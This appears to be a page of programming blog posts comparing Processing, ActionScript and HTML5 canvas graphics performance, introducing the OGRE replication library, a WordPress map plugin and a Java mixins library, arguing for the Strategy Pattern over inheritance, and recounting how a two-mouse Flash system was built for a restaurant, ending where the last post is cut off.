Canvas is one of the new APIs introduced in the flurry of specifying activity by the W3C that got bundled together under the HTML5 monicker. A canvas is a rectangular area of the HTML page that contains a raster image which can be manipulated using JavaScript. Unlike the other graphical environments covered so far, canvas is a specification that is implemented by multiple browsers, each of which has its own performance characteristics.

“imagine” in JavaScript & canvas

You can view the implementation of “imagine” in JavaScript & canvas. All the code is in the HTML page, use your browser’s “View Source” to take a peek.

Download the sources and compiled applications for all episodes

Performance: On my Intel Core i7 MacBook, the frame rates with 8000 sparks on screen were 4.3 fps in Firefox 7, 6.2 fps in Chrome 15 and 6.0 fps in Safari 5.1. These figures are pretty terrible compared to the other environments I’ve covered so far, but there is a good explanation: canvas anti-aliases all lines, which precludes a performance optimisation that was possible in both Flash and Processing.

Anti-aliasing is a useful technique for producing smooth edges on vector graphics. This image is magnified 600% to make the individual pixels clearer:

Anti-aliasing make shapes appear smooth on a limited resolution display

Anti-aliasing is computationally expensive however. The Processing and Flash versions of imagine turn off antialiasing and replace it with an alternative technique – as long as the rendered shape is moving at a roughly constant rate, simply making the shape semi-transparent will produce a smoothing effect:

Poor man's anti-aliasing works just as well as the real thing in certain circumstances

So this performance comparison is not exactly fair. I made another version of the canvas app that uses squares instead of circles. Squares are considerably faster to draw, and the performance for this version is in line with the Flash and Processing versions.

Programming with JavaScript & canvas

In the last two episodes I’ve provided a port of the simplest animated graphical app I could conceive of. You can check out the Processing version (app, source) and the ActionScript version (app, source). I noted that the ActionScript version was around twice as long because of the overhead of setting up a raster drawing environment in a general purpose drawing framework.

Well the JavaScript version is almost as long as the Flash version, but not for exactly the same reason:

window.onload = function() {
  var canvas = document.createElement("canvas");
  document.body.appendChild(canvas);
  canvas.width = 400;
  canvas.height = 400;
  var ctx = canvas && canvas.getContext("2d");
 
  var bg = "#FF0088";
  document.body.onclick = reset;
  reset();
  setInterval(draw, 50);
 
  function draw() {
    var radius = random(5, 50);
    ctx.beginPath();
    ctx.arc(random(-100, 500), random(-100, 500),
        radius, 0, Math.PI * 2, false);
    ctx.closePath();
 
    ctx.strokeStyle = "#000";
    ctx.lineWidth = 1;
    ctx.fillStyle = "#FFF";
    ctx.fill();
    ctx.stroke();
  }
 
  function reset() {
    ctx.fillStyle = bg;
    ctx.fillRect(0, 0, canvas.width, canvas.height);
  }
 
  function random(from, to) {
    return from + Math.random() * (to - from);
  }
}

Check out the the running application here.

Two things make this sample longer than the Processing version.

Firstly, like Flash’s raster drawing functionality, canvas is just a small part of the total functionality offered by HTML environment. A few lines are therefore dedicated to setting up the environment for animated raster drawing. This makes it harder for a beginner to get started with canvas, though finding code samples for canvas on the net is easier than for the Flash equivalent.

Secondly, the actual drawing code inside draw() is longer. Common drawing operations are split into calls to geometry methods like arc() which describe a path, and painting methods like stroke() that render the most recently described path. I’m sure the guys at Apple had their reasons for designing the API the way they did, but for basic operations it means that you have more lines of code for the same effect.

If you’re intending to write a lot of drawing code, you’d be well advised to factor out the verbose canvas API into some simple drawing methods. This code for example, will replace 8 lines of drawing code with a one line method call:

function drawFilledCircle(x, y, radius, strokeColor, fillColor) {
  ctx.beginPath();
  ctx.arc(x, y, radius, 0, Math.PI * 2, false);
  ctx.closePath();
  ctx.strokeStyle = strokeColor;
  ctx.lineWidth = 1;
  ctx.fillStyle = fillColor;
  ctx.fill();
  ctx.stroke();
}

This is something that the JavaScript community is quite good at, since JavaScript has a history of clunky APIs that need wrapping to make usable. The W3C DOM wrapped in jQuery springs to mind.

Conclusion

Despite having a limitation that made it slow for imagine, canvas is a flexible and capable raster drawing API, but one that really needs to be wrapped in a library for maximum usability.

Next up: Google NaCl (coming soon)

ActionScript is the scripting language that comes with Flash. As such, it’s attached to one of the most popular environments for high-performance 2D graphics rendering in existence. Flash is much more feature-rich than Processing, and I was expecting that its general purpose nature would cost it in terms of performance. I was wrong.

“imagine” in ActionScript

You can view the implementation of “imagine” in ActionScript, or check out the source code.

Download the sources and compiled applications for all episodes

Performance: On my Intel Core i7 MacBook, this app runs at 13.3 frames per second with 8000 sparks on screen – about 25% faster than the Processing version. Of course this doesn’t mean that Flash is generally faster than Processing, only that Flash is faster at drawing circles on an Intel Mac. However the result is surprising to me, because of the nature of Flash.

The Flash environment

Whereas Processing provides a raster canvas for your code to draw on, Flash provides a scene graph. This means that you add objects to the stage, and these objects can contain child objects, which themselves have children, forming a tree structure. Moving or rotating an object will also move and rotate its children. In processing when you draw one object on top of another one, the original object is gone forever. In Flash when you add one object on top of another, the new object can be removed to reveal the original object again. Scene graphs are intrinsically more memory and processor intensive than raster canvases.

Flash’s scene graph is extremely useful for animating, because it reflects the way that objects in the real world are made up of component parts. Say you want to animate a moving car with spinning wheels. The wheels must be separate objects to the car, because you want them to rotate independently of the car. But when you move the car you expect the wheels to move with the car. Scene graphs make it easier to construct realistic and nuanced interactive animations like this one:

However, this ability comes at a cost. In a flash app, you can’t draw pixels directly to the display, you must set up an object in the scene graph to handle bitmap drawing. In the last episode I gave a 20 line code sample for making a very simple Processing app. You can view the app and source code here. The equivalent in ActionScript is twice as long:

package
{
  import flash.display.*;
  import flash.events.*;
  import flash.geom.*;
 
  [SWF(width="400", height="400")]
 
  public class Main extends Sprite  
  {
    private const bg:uint = 0xFFFF0088;
 
    private var buffer:BitmapData;
    private var canvas:Shape;
 
    public function Main()
    {
      canvas = new Shape();
      buffer = new BitmapData(stage.stageWidth,
                      stage.stageHeight, false, bg);
      addChild(new Bitmap(buffer));
      stage.addEventListener(Event.ENTER_FRAME, draw);
      stage.addEventListener(MouseEvent.CLICK, reset);
    }
 
    private function draw(e:Event):void {
      canvas.graphics.clear();
      canvas.graphics.lineStyle(1, 0);
      canvas.graphics.beginFill(0xFFFFFF);
      canvas.graphics.drawCircle(random(-100, 500),
                      random(-100, 500), random(10, 100));
      buffer.draw(canvas);
    }
 
    private function reset(e:Event):void {
      buffer.fillRect(new Rectangle(0, 0, stage.stageWidth,
                      stage.stageHeight), bg);
    }
 
    private function random(from:Number, to:Number):Number {
      return from + Math.random() * (to - from);
    }
  }
}

Check out the the running application here.

Not only is this source code long, but it has some gotchas that didn’t exist in the processing version. The “stage.” in “stage.addEventListener(MouseEvent.CLICK, reset);” on line 23 is an unusual pattern that is required in this case because Bitmap objects (unlike most other display objects) don’t respond to MouseEvents. If you omit the step of clearing the graphics canvas at the start of draw() then the animation will appear to work as normal, but will slow down over time as the canvas fills up with vector data that takes longer and longer to render. Good luck figuring those things out if you’re on your first ActionScript project.

This is the price of flexibility. Flash’s object-oriented scene graph approach makes it suitable for building complex interactive programs like inamo and UI frameworks like Flex, but for the kind of light graphical experiment that Processing excels at, ActionScript feels clunky.

The good news is that apparently performance doesn’t suffer as a result. Even with the overhead of interpreting the scene graph, the Flash port of imagine is faster than the Processing version, presumably because Flash’s rendering engine is more heavily optimised than the Java2D implementation on a mac.

Conclusion

Flash is a very flexible graphical environment, but getting it to do exactly what you want takes some expertise.

Next up: JavaScript & Canvas

Processing, hosted at processing.org is a language, library and IDE for creating interactive graphics. It is targeted at artists and designers with any level of programming skill.

“imagine” in processing

First things first, here is the implementation of “imagine” in Processing. You can view it online with terrible performance because it’s a sandboxed Java applet, or

Download the sources and compiled applications for all episodes

Performance: On my Intel Core i7 MacBook, this sketch runs at 10.5 frames per second with 8000 sparks on screen. This figure doesn’t mean much on its own, but will provide a baseline for comparing the performance of the other environments covered in this series.

The Processing language

Throughout the documentation, Processing is referred to as a language. My first thought after using Processing was “If I made this and claimed to have designed a language, anyone who’d actually designed a real language would laugh at me”. It’s Java. It’s not like Java, it is Java, or rather a very thin superset of Java.

When you run a Processing script (or “sketch” to use their terminology), the Processing compiler takes your source code and wraps it in a header and footer that cause it to become a valid Java program. OK, so it also has a couple of bits of syntactic sugar like allowing HTML-style RGB colour literals in code – color c = #123456 compiles into int c = 0xFF123456. But technologically, it’s Java through and through. Here’s a trivial sample sketch to demonstrate:

// "bubbles.pde" - processing sketch
color bg = #FF0088;
 
public void setup() {
  size(400, 400);
  smooth();
  background(bg);
}
 
public void draw() {
  float size = random(10, 100);
  ellipse(random(-100, 500), random(-100, 500), size, size);
}
 
public void mousePressed() {
  background(bg);
}

If you peek at the compiled java, you can see the original source code wrapped in the Processing header and footer:

// "bubbles.java" - compiled java file
import processing.core.*; 
import processing.xml.*; 
 
import java.applet.*; 
import java.awt.Dimension; 
import java.awt.Frame; 
import java.awt.event.MouseEvent; 
import java.awt.event.KeyEvent; 
import java.awt.event.FocusEvent; 
import java.awt.Image; 
import java.io.*; 
import java.net.*; 
import java.text.*; 
import java.util.*; 
import java.util.zip.*; 
import java.util.regex.*; 
 
public class bubbles extends PApplet {
 
int bg = 0xffFF0088;
 
public void setup() {
  size(400, 400);
  smooth();
  background(bg);
}
 
public void draw() {
  float size = random(10, 100);
  ellipse(random(-100, 500), random(-100, 500), size, size);
}
 
public void mousePressed() {
  background(bg);
}
  static public void main(String args[]) {
    PApplet.main(new String[] { "--present", "--bgcolor=#666666",
      "--stop-color=#cccccc", "bubbles" });
  }
}

View the sketch online.

But to focus on how little the compiler does is to miss the point of what Processing has done to Java. It has turned an object-oriented language into a procedural language with optional object-oriented features. By ditching the Java name and calling it a new language, Processing ensures that developers unlearn their Java experience and follow a different coding style. All the Processing examples and documentation encourage a coding style that looks and feels very different to Java. Global state and public variables are encouraged, access modifiers are rarely used, and long monolithic procedural scripts with no object oriented decomposition are common. It may be Java under the hood, but it feels like typed PHP.

Which is exactly the point. PHP is a great language for beginners because it makes simple things simple and complicated things possible. The learning curve for PHP is extremely smooth – just take an HTML page and drop in “<? echo ‘Hello World’; ?>” then point your browser at the page. Bang! You’re a programmer. Now google around for the functions you need to flesh out your idea. Processing is the PHP of graphics programming. If you’re an artist with ideas, you can get your first program up in seconds. Just open the Processing IDE, type “rect(50, 50, 30, 30);” and click ‘Run’. You’ll see this:

A Processing one-liner

For a complete Java newbie, getting to that stage in a vanilla Java2D app would have required the best part of a day’s research. Since with Processing it takes 30 seconds, you have plenty of mental energy left over to search through the comprehensive standard library documentation looking for the functions you need to iteratively get your sketch closer to the idea in your head.

Speaking of the standard library:

The Processing Library

All processing sketches are compiled into classes that extend PApplet. This class has a large collection of useful public methods that appear to Processing sketches as a single flat namespace of functions, just like PHP.

These include functions for 2D and 3D vector drawing, raster image manipulation, file loading, logging and maths. The methods are intuitively named, and more complex effects can be easily built up with sequences of function calls:

smooth();
rotate(.1);
fill(#00FF88);
rect(50, 50, 30, 30);

A slightly more complicated sketch

The Processing IDE

If you’ve used any Java IDE, Processing seems very basic. It’s just an editor window with some basic keyword-based syntax highlighting.

The Processing IDE

But once again, the whole is more than the sum of its parts. The processing IDE provides exactly what an artist needs to create and deliver their work, and no more. It doesn’t have code navigation, refactoring, interactive debugging or any of the other whizzy features of Eclipse. But it does have one-step wizards to export your sketch as a signed applet embedded in a web page or as Mac, Windows and Linux applications. I dread to think how long it would take a Java newbie to figure out how to do that with Eclipse. Heck, I dread to think how long it would take me to figure out how to do that with Eclipse.

Other features include a colour picker, font selector, documentation browser, code formatter and console for viewing debug messages.

Conclusion

I like Processing. If I need to do some simple interactive graphics in future, it will be at the top of my list. It also makes an excellent prototyping tool, so I’d consider using it to prototype graphics even if the project in in a different language.

Next up: Flash / ActionScript

A graphics programming environment is a language or library suitable for drawing pretty patterns. In this series I’m interested in raster drawing environments, in which you can directly manipulate pixels rather than using higher level constructs like HTML or SVG.

I can think of four graphical programming environments that can be deployed on the web, and they’re all very different:

1. Processing is a tool for creating interactions that can be deployed as a Java applet (sure there are loads of other Java-based graphics environments, but this list has to end somewhere)
2. Flash / ActionScript is the granddaddy of web graphics environments
3. Canvas is a relatively recent addition to the HTML specification
4. Google Native Client is a (currently) Chrome-only environment for safely running native machine code in a browser

The imagine app

Imagine is a fun little app that I threw together in a few hours while learning Processing. It’s a black canvas, and moving your mouse over the canvas releases a stream of particles that spell “imagine” in furry technicolor letters:

It’s a simple app that exercises a few basic functions that I’d expect in any graphics environment: drawing of shapes, basic arithmetic, trigonometry and image file reading.

The input image that drives the imagine app

Download the sources and compiled applications for all episodes

The implementations

This is a work in progress. I’ve written up my experience with two of the four environments, and will update this section when I’m finished.

1. Episode 1: Processing
2. Episode 2: Flash / ActionScript
3. Episode 3: JavaScript &amp Canvas
4. Episode 4: Google Native Client (in progress)

I’m releasing it now because I want to collaborate with other people to fulfil the promise of this technology. If you have a project that needs technology like this then get in touch. If your company might want to hire me to work on said project, so much the better!

Look, I even made a pretty mascot

OGRE is a platform neutral technology for taking a data set on a server and creating real-time replicated slaves on clients. It’s fast. Very fast. It’s also highly extensible so it’s likely that OGRE can be adapted to fit your project, not vice versa.

OGRE has it’s own website at ogre.berniecode.com, that describes what OGRE is now. There is a white paper describing how the technology works, and an architectural overview describing the construction of the client and server libraries.

For the purposes of this introduction, I’d like to describe my vision of what OGRE could be. This vision is the reason I’ve been excited enough to spend 6 months of spare time working on this project. This is what I see OGRE being capable of if developed properly:

The dream

[the camera zooms in on your closed eyelids; the image shimmers and fades; this is a dream sequence...]

You have a client-server product. It’s a stock trading server written in Java; no wait – it’s a war simulator game in ruby; scratch that – it’s an oil tanker location tracking system in C#. Whatever: it’s a server in some language that, like most servers, maintains data in some persistent store, permits clients to access the data, and makes changes to the data when required.

Until now, your system has worked on a request-response basis like most other client-server applications. When a client wants to see the latest data, it requests the data and displays it to the user. If the information needs to be up to date, the client refreshes the screen every few seconds, re-requesting the data.

But one day you decide that your client is just too slow. The stock traders don’t want to know what the market was like ten seconds ago; or your gamers don’t want to know where the elf they’re trying to ambush was 10 seconds ago; or the oil tanker monitors don’t want to… well actually oil tankers are pretty slow so those users probably don’t care. But the bankers and gamers want to know now, dammit!

Increasing the rate at which the clients refresh their screens isn’t an option – your servers are already under enough load, and the clients’ network bandwidth isn’t infinite.

You’ve heard that OGRE solves this kind of problem, so you have a quick browse through the documentation. Ah ha! – you’re using Hibernate to access the database, and OGRE already has a Hibernate adapter so you don’t need to write your own. You drop 10 lines of code copied from the documentation into your application, compile and run it, and now your server is exposing a read-only copy of its data over the network.

Now to see if it works. You fire up Flash Builder (or perhaps Visual Studio if your client is in Silverlight, or Eclipse if it’s in Java), paste in another short code sample from the documentation, and then in around 20 lines you write the simplest UI you could possibly write to display the current state of the system. You launch the new UI, and it displays a copy of your stock prices (or war game or ship locations :o). As the data on the server changes, the new UI updates automagically, rendering new information within a few milliseconds of a change happening on the server.

Just for a laugh, you launch 1000 instances of the client. The server’s network and CPU stats hardly even register the difference.

The demonstration

[You wake suddenly, sitting bolt upright in bed. Was it really just a dream?]

OGRE isn’t there just yet, but the technology has been proved with a Java server and client. More languages are coming soon, probably with ActionScript first. Here’s a video of OGRE in action running the friendgraph demo included in the source distribution:

If you’d like to get involved in developing OGRE, especially if you have a project you’d like to try it on, then get in touch.

When I started writing a travel blog almost half a year ago, I had a specific vision of how it would look. I wanted a big world map, onto which I would drop little pins. Each pin would be a single blog post, and clicking that pin would allow you to read the post in one of those little Google Maps speech bubble thingies.

There is a popular WordPress plugin called WP Geo that allows you to record the latitude and longitude of each post. WP Geo stores the necessary information in the database and has an excellent admin interface. Unfortunately the maps it provides are quite the wrong way round for my idea: WP Geo puts a little map onto your post, I wanted to put my little posts onto a big map!

So I wrote a WordPress plugin to extend WP Geo and add a big sexy map. In order to use it, you need WP Geo installed. To see it in action, check out my own travel map. The plugin is called:

WP Geo Big Map

(Damn, I should have called it WP Geo Big Sexy Map, but it’s too late to change it now)

After installing WP Geo and this plugin, create a new page with nothing except the shortcode [big_map]. This magic shortcode replaces the whole page with a huge map, and all your posts will show up as pins on the map.

The shortcode has a number of customisation options which are detailed on the plugin page on wordpress.org.

Some screenshots:

Posts appear as pins on a big map

Mousing over a pin brings up a summary of the post. The default badge shows the featured image and post excerpt, but you can customise this through your theme

If you make multiple posts in one location, they appear as a pop-up menu on one pin

You can read posts in a pop-up iframe without leaving the map

Installation

NOTE: WP Geo Big Map is tuned to work with the Twenty Ten theme that is the default for WordPress 3.x. If you’re using a different theme that is not based on Twenty Ten, consult the plugin’s readme.txt for instructions.

The easiest way to install the plugin is through the WordPress dashboard. Log in to your site, go to “Plugins > Add New”, search for “big map” and install it.

If you want to see the source code, or install the plugin manually, you can download it from my mercurial repository:

Download WP Geo Big Map

Feedback

Any feedback is welcome, as always. I can be reached at bernie@berniecode.com.

Introduction

Click here to skip to the screencast

A Mixin is a bit of re-usable code that can be mixed in to classes. It is a form of code re-use more flexible than inheritance and less dangerous than multiple-inheritance. It works like this:

// this is a mixin: an interface labeled with a default implementation
@MixinType(implementation = HelloMessageBearer.class)
interface MessageBearer {
    public String getMessage();
}
 
// this is a mixin implementation. Classes implementing MyMixin will
// automatically have this implementation code mixed into them
class HelloMessageBearer implements MessageBearer {
    public String getMessage() { return "Hello World!"; }
}
 
// this is a class that uses the MessageBearer mixin
@MixinBase
abstract class MessagePrinter implements MessageBearer {
    public void printMessage() {
        // code can refer to methods of the mixin interface
        System.out.println("message: " + this.getMessage());
    }
}
 
// Demo code. Because this is a runtime library,
// "MixinSupport.create(X.class)" must be used instead of "new X()"
MessagePrinter printer = MixinSupport.create(MessagePrinter.class);
printer.printMessage(); // outputs "message: Hello World!"

Mixins for Java is a pure-Java runtime library that implements mixins in a type-safe way without requiring either a preprocessor (as JAMIE does) or whole new compiler (as AspectJ does).

All code is BSD licensed and available at code.google.com/p/java-mixins.

Screencast

The screencast requires flash and sound. You should click the “full screen” icon in the bottom right for best quality. If you don’t have the flash player, you can download the mp4 file here.

When I built Animator.js, I got some flack for suggesting that inheritance is not a Good Thing. Keen to avoid a holy war I restated my position to ‘inheritance is often useful, but more often overused.’ Over the last few months I’ve been trying to figure out exactly when it should be used, and have concluded – at least for the kind of systems GUI developers build – never.

I’ve been working on a Flash port of Animator.js that’s been pumped up on performance enhancing drugs and given a flame thrower. It’s a fairly complex software component with around 30 classes, but it uses the Strategy Pattern instead of inheritance. I’ve grown fairly passionate about my anti-inheritance stand, and want to take some time to explain myself. In this article I rant for a few paragraphs in an attempt to persuade you not to use inheritance, and then show you how to use for Strategy Pattern for your own software.

The code samples for this article are in Actionscript but the concept applies just as much to JavaScript, or indeed any object oriented language.

Why inheritance sucks

Skip this and go straight to the code, if you like

All of the pain caused by inheritance can be traced back to the fact that inheritance forces ‘is-a’ rather than ‘has-a’ relationships. If class R2Unit extends Droid, then a R2Unit is-a Droid. If class Jedi contains an instance variable of type Lightsabre, then a Jedi has-a Lightsabre.

The difference between is-a and has-a relationships is well known and a fundamental part of OOAD, but what is less well known is that almost every is-a relationship would be better off re-articulated as a has-a relationship.

Eh?

Instead of extending a class and adding some functionality in the subclass, try putting the new functionality into its own class. Suppose you want to create a DarkJedi class; a dark Jedi is like a standard Jedi, but with dark powers too. The obvious way to do this is by extending the Jedi class and adding some appropriate methods:

// bad
class Jedi {
    function drawSabre():Sabre { ... }
}
class DarkJedi extends Jedi {
 
    function crushTownspeople():void { ... }
}
dj:DarkJedi = new DarkJedi();
dj.crushTownspeople();

This looks like the simplest approach, and it is at first. However, your dark powers are locked up inside the DarkJedi class. If you need to make a DarkDroid and a DarkSpaceship that can both also crush townspeople, you’re in trouble. These classes obviously can’t extend Jedi, so you have to duplicate townspeople crushing functionality across your whole DarkArmy or split it out into utility functions that you call from every crushTownspeople method. Either way, it gets complicated.

Now suppose you had done it like this:

// good
class Jedi {
    function drawSabre():Sabre { ... }
}
class DarkPowers {
    function crushTownspeople():void { ... }
}
class DarkJedi extends Jedi {
    // DarkJedi has-a DarkPowers
    public var darkPowers:DarkPowers = new DarkPowers();
}
dj:DarkJedi = new DarkJedi();
dj.darkPowers.crushTownspeople();

Everything that was possible in the first version is still possible in the second, but because DarkPowers is a separate class, there’s no limit on what kind of object can be evil:

class DarkHippo {
    public var darkPowers:DarkPowers = new DarkPowers();
    public function capsizeCanoe(canoe:Canoe):void { … }
}

Yeah, but I don’t make Jedis. Or hippos.

Good point, but the problem above happens everywhere that inheritance does. I’ll give an example from the Flash player API because I consider Actionscript 3.0 is one of the most beautiful works of software engineering I have used in recent years, and if the team that made it can’t get inheritance to behave properly, how can the rest of us be expected to?

Here are 2 examples of use of inheritance, one appropriate and one not, and by ‘appropriate’ I mean that the problems that inheritance inevitably ends up causing are probably outweighed by the lower complexity.

// old style:
mc.goToAndPlay("shizzle");
// would become:
mc.timeline.goToAndPlay("shizzle");

Enough already, show me the code!

An example

Suppose you have a Ball class that implements a red Ball. You extend this class to make a BouncingBall class that, well, bounces. You again extend Ball to make a FadingBall class that fades in and out. Don’t ask me why, let’s just assume your client is strange. It might look something like this (the ball, not the client):

class Ball extends MovieClip {    
    function Ball() {
        graphics.beginFill(0xAA0000);
        graphics.drawCircle(0, 0, 20);
        graphics.endFill();
    }
}
class BouncingBall extends Ball {
    private var frame:int = 0;
    function BouncingBall() {
        addEventListener(Event.ENTER_FRAME, setPosition);
    }
    private function setPosition(e:Event):void {
        frame++;
        this.y = 280 - Math.abs(Math.cos(frame / 15) * 200);
    }
}
class FadingBall extends Ball {
    private var frame:int = 0;
    function FadingBall() {
        addEventListener(Event.ENTER_FRAME, setAlpha);
    }
    private function setAlpha(e:Event):void {
        frame++;
        this.alpha = Math.abs(Math.cos(frame / 15));
    }
}

Now suppose you want to make a ball that bounces and fades. Feck. Your problem here is that bouncing and fading balls aren’t really new kinds of ball, they’re new ways that the same ball behaves. The ball has-a bouncing behavior. Using inheritance, the code that handles bouncing and fading is locked up in the BouncingBall and FadingBall classes and can’t be used elsewhere.

If you’re paying any attention you know the solution by now:

// To create a bouncing and fading ball:
// var d = new StrategyBall();
// d.yMotionStrategy = new AbsSineStrategy(80, 200);
// d.alphaStrategy = new AbsSineStrategy(0, 1);
class StrategyBall extends MovieClip {
 
    public var yMotionStrategy:NumberSequenceStrategy;
    public var alphaStrategy:NumberSequenceStrategy;
 
    function StrategyBall() {
        graphics.beginFill(0xAA0000);
        graphics.drawCircle(0, 0, 20);
        graphics.endFill();
        addEventListener(Event.ENTER_FRAME, handleEnterFrame);
    }
 
    private function handleEnterFrame(e:Event):void {
        if (yMotionStrategy != null) {
            y = yMotionStrategy.nextValue();
        }
        if (alphaStrategy != null) {
            alpha = alphaStrategy.nextValue();
        }
    }
}
interface NumberSequenceStrategy {
    function nextValue():Number;
}
// Note how one class is used for both the fading and bouncing behavior - componentisation allows
// for greater code reuse
class AbsSineStrategy implements NumberSequenceStrategy {
 
    private var frame:int = 0;
    private var from:Number;
    private var to:Number;
 
    public function AbsSineStrategy(from:Number, to:Number) {
        this.from = from;
        this.to = to;
    }
 
    public function nextValue():Number {
        frame++;
        return to + Math.abs(Math.sin(frame / 15)) * (from - to);
    }
}

Apart from being able to make a bouncing, fading ball, there are 2 huge benefits of this solution:

1. You can change the behaviour of each ball at runtime: a bouncing ball can become a fading ball at any time.
2. You can reuse number generation algorithms between properties – note how there is only one number generation algorithm – AbsSineStrategy – is parametrised with the too and from values so that it can be use to control alpha or height.

That’s enough theory – in my next Article I’ll actually do something useful with all this stuff!

Download the code for this article

Recommended article

A fascinating and detailed account of the move from concrete inheritance to composition in game programming.

Sometimes a single sentence in a specification can balloon into a task as daunting as most of the other sentences put together. This is the story of one such sentence.

18 months ago I started building the software and hardware system for an interactive restaurant called inamo. Inamo is not the first restaurant to let customers order food and drink through a computer interface at the table, but in our esteemed and unbiased opinion it is the first restaurant to do so in an elegant manner that adds to the dining experience rather than plonking an ugly great touch screen between you and your date.

Diners at inamo use an interactive menu projected onto the table

Buried in the requirements document that the financers had produced was an innocuous little sentence that hardly gave me pause on the first reading:

“Each table seats two people, who can interact with the system simultaneously”

You see, computers only have one mouse pointer. Even if you plug two mice into a PC, Windows will prevent them showing up as two devices and instead merge their input streams so that they both appear to applications as a single virtual device.

Bugger.

Writing mouse applications for modern operating systems is easy because the mouse stack takes care of all the heavy lifting for you. The mouse stack has two main components: device drivers read the arcane binary data format from the mouse hardware and convert it into a useful stream of coordinates for your application, then standard libraries take care of collision detection, i.e. deciding when the mouse has moved over a link or clicked a button. Since the Windows/Flash mouse stack assumes a single pointer, the only option was a ground-up reimplementation of a mouse stack that takes data from our Bluetooth trackpads, converts it into a coordinate stream, feeds it into Flash and performs collision detection.

Part 1: re-implementing the Flash MouseEvent system

The trick to getting a two pointer system working is to draw the pointers as part of the flash animation, which has the added benefit that that you can control their appearance. In fact, hiding the system pointer and replacing it with a Flash object is an old Flash designer’s trick for making fancy mouse pointers.

Ideally, an application for multiple mice should look exactly like programming for a single mouse. Firstly, framework developers shouldn’t pass unnecessary complexity onto the application developers – the framework should handle as much heavy lifting as possible. Secondly, the inamo system accepts plugins from 3rd party developers; these plugins are plain old SWF files, and we didn’t want them to have to be written with our system in mind.

If you’ve programmed interactive applications in ActionScript 3.0 before, you’ll know that interacting with the mouse looks something like this:

// sample 1: make shizzle clickable
var shizzle:Shizzle = new Shizzle();
shizzle.addEventListener(MouseEvent.CLICK, function(e:MouseEvent):void {
    trace("Ooh, that tickles!");
});

Individual display objects are registered to receive mouse events. The Flash player tracks the position of the mouse pointer, and dispatches MOUSE_OVER and MOUSE_OUT events to registered objects as the mouse passes over them, and CLICK events if they are clicked. This simple demo uses over and out events to emphasise a box when the mouse is over it, as well as the technique of dawing a custom pointer in Flash.

A naïve implementation of this was quite easy. I built a MouseManager that tracks all display objects currently in the system. Each frame, the MouseManager locates the “over object”, which is the display object under the mouse pointer, or the highest one* if there are multiple such objects. If this object is different from the previous frame’s over object, you dispatch a MOUSE_OUT event on the previous one and a MOUSE_OVER event on the new one.

Unfortunately, the naïve implementation didn’t work properly when two mouse pointers are used. Programs are typically written to rely on the fact that once you receive a MOUSE_OVER event, you will get a MOUSE_OUT before the next MOUSE_OVER. Here is the code for the above demo, which makes precisely that assumption:

// sample 2: emphasise the box that the mouse is over
var buttons:Array = [button1, button2, button3, button4];
// this variable is set to the box that the pointer is over, i.e. there
// is the implicit assumption that there is only one mouse pointer
var currentOver:Button;
for each (var button:Button in buttons) {
    button.addEventListener(MouseEvent.MOUSE_OVER, handleMouseOver);
    button.addEventListener(MouseEvent.MOUSE_OUT, handleMouseOut);
    button.alpha = 0.5;
}
function handleMouseOver(e:MouseEvent):void {
    currentOver = e.target as Button;
    currentOver.alpha = 1;
}
function handleMouseOut(e:MouseEvent):void {
    currentOver.alpha = 0.5;
    currentOver = null;
}

This code is not broken – it always works as long as there is only one mouse, and plugins loaded into our system were not necessarily written for multiple mice. The problem comes when you have two mice, and the second mouse could move over a button while the first mouse is still over another. In this demo, since your computer only has one mouse, I’ve set up draggable arrows to represent the two mice:

(fun puzzle: try and make all the boxes dark by dragging the two mouse pointers)

It would be trivial to rewrite the above code in a way that doesn’t break with two mice, but we wanted to be able to run any SWF without modification.

To solve this problem each pointer gets its own MouseManager that is tied to a specific display object container, so that they only keep track of objects inside that container. This way, each loaded plugin only has one mouse that can interact with it, and code written for one mouse can’t get confused:

I distinctly remember the first time I saw the above proof-of-concept: I thought the hard part was over, and sent a triumphant e-mail claiming that the two-mouse system was “all over bar the integration”. Ha! How wrong I was.

Part 2: ActionScript is not the best language for a device driver

Inamo uses trackpads built into the tabletop:

PR photos don't lie: inamo is a beautiful restaurant for beautiful people

Each trackpad communicates with the client PC via Bluetooth. To prevent Windows merging both trackpads into a single virtual device, we reprogrammed the trackpads to present themselves to Windows as generic COM ports, issuing forth a stream of standard 3-byte movement packets.

At the start of the project, my plan for getting these packets of data into Flash read a bit like this:

1. 3-byte data packet arrives over Bluetooth into COM port
2. erm, something… I’ll figure it out later
3. ActionScript MouseManager interprets 3-byte packet

Imagine my surprise when step 2 turned out to be problematic. Flash is designed from the ground up to run on the Internet. It can’t access any of the client PC’s hardware such as serial ports, and it can’t run programs on the client PC.

Attempt 1: in through the front door

Since the only way you can get data into Flash is over a network, the obvious solution was to build a server that sends mouse data over a network connection. Since on the one hand it needed to be written in a language that supports Windows serial ports, and on the other hand I hate C++ with a passion that most people reserve for child molesters, the best choice for this was C#.

Edited in 2011 to add: I take it all back, C++ is awesome

I built a small C# / Windows Forms app that opened a COM port to the trackpad, interpreted the binary data, converted it to coordinates, encoded it as XML and broadcasted to any clients listening on a TCP socket. Meanwhile in Flash, the MouseManager used ActionScript’s XMLSocket class to connect to the C# app and receive mouse movement data.

Throwing this all together I saw that it worked, and sent out a second triumphant e-mail claiming to have solved the mouse issue.

A brief aside: when my wife and I are watching an episode of House MD on the laptop, there will be several moments where Greg House says something like “Of course! The ampicillin caused the reverse toxinecrosis in the frontal cortex because of the beta-blockers we prescribed for the rabies, but if we replace them with doxycyclin then the bacteria will all die and the patient will be home for lunch!” Is House right, one wonders? At this point we wiggle the mouse so that the DVD player application displays a progress bar. If the progress bar isn’t almost all the way to the right, then an unforeseen (by House, not by us) complication will emerge and the patient will be back in a coma faster then you can say “formulaic”.

Well look at the scroll bar to the right of this page and tell me: did the C# server solve the problem? Did it bollocks.

On my hefty development workstation there was never more than a one frame delay between a data packet arriving at the C# server and it being processed by Flash – moving your finger on the trackpad caused a near-instantaneous movement of the mouse pointer drawn by Flash. When I loaded the software onto the cheap PCs we were using for all the clients in the restaurant, this rose to four frames, causing a painfully obvious lag.

Testing revealed that this delay happened between the C# server sending a TCP packet and the Flash client receiving it, so it was out of our control – the network stack on the cheap PCs just didn’t shuttle data around fast enough.

Goodbye plan A.

Attempt 2: in through the back door, or “have you tried doing it in C++?”

Like I said earlier, Flash only accepts data over the network, but there are products that change this. SWF to EXE compilers such as MDM Zinc take an SWF file and compile it into an Windows program. In doing so they make available a range of enhanced ActionScript classes for dealing with things like printers and, (joy!), COM ports.

A brief reading of the documentation quickly extinguished that joy: rather than allowing multiple instances, the COMPort class of MDM Zinc uses static properties and methods, like so:

// sample 3: "Object-oriented" does not mean "procedural with dots in"
